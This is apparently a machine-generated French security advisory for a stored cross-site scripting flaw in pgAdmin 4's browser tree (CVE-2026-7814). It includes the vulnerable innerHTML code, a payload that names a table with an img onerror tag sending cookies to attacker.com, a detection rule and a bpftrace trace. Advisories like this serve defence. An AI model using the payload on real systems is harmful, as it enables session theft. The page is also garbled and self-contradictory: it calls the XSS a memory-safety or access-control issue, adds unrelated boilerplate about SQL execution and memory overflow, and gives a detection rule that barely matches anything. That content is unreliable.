pgAdmin 4 (Browser Tree and Explain Visualizer) Le score CVSS v3.1 évalue CVE-2026-7814 à 5.4 (MEDIUM, CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N). Le score opérationnel Hermes s'établit à 72 (MEDIUM) en raison de la criticité des données stockées dans le SGBD PostgreSQL.
Software platform affected by security vulnerabilities and agentic attack patterns.
“Confirmed security vulnerability in pgAdmin PostgreSQL Tools documented in Hermes dossier.”
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
Le composant pgAdmin 4 (Browser Tree and Explain Visualizer) intervient au cœur du moteur relationnel, des outils d’administration et des protocoles de réplication de PostgreSQL.
| Paramètre | Spécification technique | Contexte threat intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-7814 | Bulletin officiel de sécurité amont |
| Produit affecté | pgadmin:pgadmin4 | Écosystème de bases de données relationnelles |
| Composant vulnérable | pgAdmin 4 (Browser Tree and Explain Visualizer) | Moteur PostgreSQL / Outil / Extension |
| Classe de faiblesse | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | Faiblesse de contrôle d’accès / Sûreté mémoire |
| Score CVSS v3.1 | 5.4 (MEDIUM / Score Hermes 72) | CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N |
| Version corrigée | 9.14 | Correctif officiel amont |
| Techniques MITRE ATT&CK | T1189 - Drive-by Compromise, T1059.007 - JavaScript | Élévation de privilèges / Exécution de commandes |
| Référence forensique | Analyse des sessions d’administration et accès web | Analyse mémoire et télémétrie des requêtes |
L’examen du code source incriminé met en évidence la faille logique ou l’absence de validation des paramètres :
// Vulnerability in web/pgadmin/browser/static/js/browser.jsfunction renderTreeNode(nodeData) { let el = document.createElement('div'); /* VULNERABILITY: Object name from PostgreSQL catalog assigned directly to innerHTML */ el.innerHTML = '<span class="file-icon"></span>' + nodeData.label; // Stored XSS! return el;}Sous certaines conditions d’exploitation, le moteur de base de données exécute du SQL non neutralisé, subit un bouclage arithmétique ou dépasse les limites allouées en mémoire vive.
CREATE TABLE "<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>";.pgAdmin 4 (Browser Tree and Explain Visualizer).Les équipes d’administration de bases de données et les analystes DFIR peuvent détecter les tentatives d’exploitation dans les journaux de requêtes et les traces système.
Journaux PostgreSQL & crashs
Surveillez /var/log/postgresql/ à la recherche des motifs :
pgadmin4.log: GET /browser/nodes/ ... with malformed HTML characters in node name. Recherchez les erreurs de syntaxe inattendues ou les arrêts anormaux de workers.
Auditd & traçage des commandes
Tracez les processus enfants créés sous l’utilisateur postgres ou l’exécution de programmes via COPY. Consultez Analyse des sessions d’administration et accès web.
title: PostgreSQL Object Name Containing Injected JavaScript HTML Tags (FR)id: cve-2026-7814status: experimentaldescription: Détecte les anomalies d'exécution SQL et les signatures d'exploitation pour CVE-2026-7814.logsource: category: database product: postgresqldetection: selection: - 'pgadmin4.log:' - 'pgadmin4' condition: selectionfields: - Query - Userlevel: high# Surveillance par tracepoint eBPF des processus spawned par PostgreSQLsudo bpftrace -e 'tracepoint:syscalls:sys_enter_execve /comm == "postgres"/ { printf("PID %d a lancé: %s\n", pid, str(args->filename));}'La sécurisation des instances PostgreSQL repose sur le déploiement des correctifs et le durcissement des privilèges :
pgadmin:pgadmin4 vers la version 9.14 ou supérieure via vos dépôts de distribution officiels.public (REVOKE CREATE ON SCHEMA public FROM PUBLIC;) et fixez systématiquement search_path = 'pg_catalog'.